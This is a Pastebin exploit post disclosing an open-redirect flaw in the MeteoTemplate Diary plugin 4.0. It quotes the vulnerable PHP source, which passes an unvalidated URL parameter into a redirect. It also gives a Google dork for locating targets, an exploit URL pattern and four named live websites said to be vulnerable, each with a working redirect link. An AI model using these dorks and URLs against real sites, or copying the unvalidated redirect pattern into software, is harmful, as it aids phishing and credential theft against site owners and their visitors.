API tools faq
paste
Advertisement
KingSkrupellos

MeteoTemplate 17.1 Nectarine Diary Plugins 4.0 Open Redirect

KingSkrupellos
Mar 7th, 2019
300
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.30 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################################
  2.  
  3. # Exploit Title : MeteoTemplate 17.1 Nectarine Diary Plugins 4.0 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 07/03/2019
  7. # Vendor Homepage : meteotemplate.com
  8. # Software Download Link : meteotemplate.com/web/downloadRequest.php?file=diary_4.0
  9. # Software Information Link : meteotemplate.com/web/plugins.php
  10. # Software Affected Version : 4.0 and previous versions
  11. Vulnerable Versions for MeteoTemplate
  12. Meteotemplate 4.1 Mango
  13. Meteotemplate 6.0 Blueberry
  14. Meteotemplate 10.0 Banana
  15. Meteotemplate 11.0 Passion Fruit
  16. Meteotemplate 13.0 Lemon
  17. Meteotemplate 16.0 Physalis
  18. MeteoTemplate 17.0 Nectarine
  19. MeteoTemplate 17.1 Nectarine
  20. # Tested On : Windows and Linux
  21. # Category : WebApps
  22. # Exploit Risk : High
  23. # Google Dorks : redirectDiary.php inurl:"/plugins/diary/"
  24. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  25. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  26. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  27. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  28. # Reference Link : cxsecurity.com/issue/WLB-2019030062
  29.  
  30. ####################################################################################
  31.  
  32. # Description about Software :
  33. ***************************
  34. A sophisticated station diary which automatically creates a diary for you, fills in all the
  35.  
  36. stats, along with moon phases, eclipses, meteor showers and much more and combines
  37.  
  38. this with your own formatted text, images, links etc, to create a nicely looking "book".
  39.  
  40. ####################################################################################
  41.  
  42. # Impact :
  43. ***********
  44. This web application MeteoTemplate 17.1 Nectarine Diary Plugins 4.0 accepts a user-controlled input that
  45.  
  46. specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
  47.  
  48. An http parameter may contain a URL value and could cause the web application to redirect the request to the
  49.  
  50. specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam
  51.  
  52. and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts
  53.  
  54. have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers
  55.  
  56. to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious
  57.  
  58. sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name
  59.  
  60. has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes
  61.  
  62. affected by malware the task of which is to deceive the valid actor and steal his personal data.
  63.  
  64. ####################################################################
  65.  
  66. # Vulnerable Source Code : [ redirectDiary.php ]
  67. *******************************************
  68. <?php
  69.  
  70. ############################################################################
  71. #
  72. # Meteotemplate
  73. # http://www.meteotemplate.com
  74. # Free website template for weather enthusiasts
  75. # Author: Jachym
  76. # Brno, Czech Republic
  77. # First release: 2015
  78. #
  79. ############################################################################
  80. #
  81. # Redirect diary
  82. #
  83. # A script which shows a loading spinner while redirecting.
  84. #
  85. ############################################################################
  86. # Version (change log - http://meteotemplate.com/blog/?page_id=42)
  87. #
  88. # v1.0 2015-07-15 Initial release
  89. # v2.0 2015-11-01
  90. # - implementation of localization
  91. # - bug fixes
  92. #
  93. ############################################################################
  94.  
  95.  
  96. include("../../config.php");
  97. include($baseURL."css/design.php");
  98. include($baseURL."header.php");
  99. $address = urldecode($_GET["url"]);
  100. ?>
  101. <html>
  102. <head>
  103. <?php metaHeader()?>
  104. <style>
  105. #overlay {
  106. position : fixed;
  107. width : 100%;
  108. top:0px;
  109. left:0px;
  110. height : 100%;
  111. background-color : #<?php echo $color_schemes[$design2]['900']?>;
  112. z-index: 9998;
  113. opacity: 1;
  114. text-align:center;
  115. }
  116. .loader {
  117. font-size: 10px;
  118. margin: 50px auto;
  119. text-indent: -9999em;
  120. width: 11em;
  121. height: 11em;
  122. border-radius: 50%;
  123. background: #ffffff;
  124. background: -moz-linear-gradient(left, #ffffff 10%, rgba(255, 255, 255, 0) 42%);
  125. background: -webkit-linear-gradient(left, #ffffff 10%, rgba(255, 255, 255, 0) 42%);
  126. background: -o-linear-gradient(left, #ffffff 10%, rgba(255, 255, 255, 0) 42%);
  127. background: -ms-linear-gradient(left, #ffffff 10%, rgba(255, 255, 255, 0) 42%);
  128. background: linear-gradient(to right, #ffffff 10%, rgba(255, 255, 255, 0) 42%);
  129. position: relative;
  130. -webkit-animation: load3 1.4s infinite linear;
  131. animation: load3 1.4s infinite linear;
  132. -webkit-transform: translateZ(0);
  133. -ms-transform: translateZ(0);
  134. transform: translateZ(0);
  135. }
  136. .loader:before {
  137. width: 50%;
  138. height: 50%;
  139. background: #ffffff;
  140. border-radius: 100% 0 0 0;
  141. position: absolute;
  142. top: 0;
  143. left: 0;
  144. content: '';
  145. }
  146. .loader:after {
  147. background: #<?php echo $color_schemes[$design2]['900']?>;
  148. width: 75%;
  149. height: 75%;
  150. border-radius: 50%;
  151. content: '';
  152. margin: auto;
  153. position: absolute;
  154. top: 0;
  155. left: 0;
  156. bottom: 0;
  157. right: 0;
  158. }
  159. @-webkit-keyframes load3 {
  160. 0% {
  161. -webkit-transform: rotate(0deg);
  162. transform: rotate(0deg);
  163. }
  164. 100% {
  165. -webkit-transform: rotate(360deg);
  166. transform: rotate(360deg);
  167. }
  168. }
  169. @keyframes load3 {
  170. 0% {
  171. -webkit-transform: rotate(0deg);
  172. transform: rotate(0deg);
  173. }
  174. 100% {
  175. -webkit-transform: rotate(360deg);
  176. transform: rotate(360deg);
  177. }
  178. }
  179. </style>
  180. </head>
  181. <body onload="redirectpage()">
  182. <div id="overlay">
  183. <div style="margin:0 auto;margin-top:300px;font-size: 3em;font-variant:small-caps;font-weight:bold;">
  184. <div id="message">
  185. SIT DOWN AND RELAX
  186. <br>
  187. METEOTEMPLATE IS CREATING YOUR DIARY...
  188. </div>
  189. <br>
  190. <div class="loader">Loading...</div>
  191. </div>
  192. </div>
  193. </body>
  194. <script>
  195. function redirectpage(){
  196. window.location.href = "<?php echo $address ?>";
  197. }
  198. </script>
  199. </html>
  200.  
  201. ####################################################################################
  202.  
  203. # Open Redirection Exploit :
  204. ***************************
  205. /plugins/diary/redirectDiary.php?url=https://www.[REDIRECTION-ADDRESS].gov
  206.  
  207. ####################################################################
  208.  
  209. # Example Vulnerable Sites :
  210. *************************
  211. [+] meteo-arbois.fr/plugins/diary/redirectDiary.php?url=https://cxsecurity.com
  212.  
  213. [+] meteotirana.al/template/plugins/diary/redirectDiary.php?url=https://cxsecurity.com
  214.  
  215. [+] slovreme.eu/plugins/diary/redirectDiary.php?url=https://cxsecurity.com
  216.  
  217. [+] weather-hered.hu/template/plugins/diary/redirectDiary.php?url=https://cxsecurity.com
  218.  
  219. ####################################################################
  220.  
  221. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  222.  
  223. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!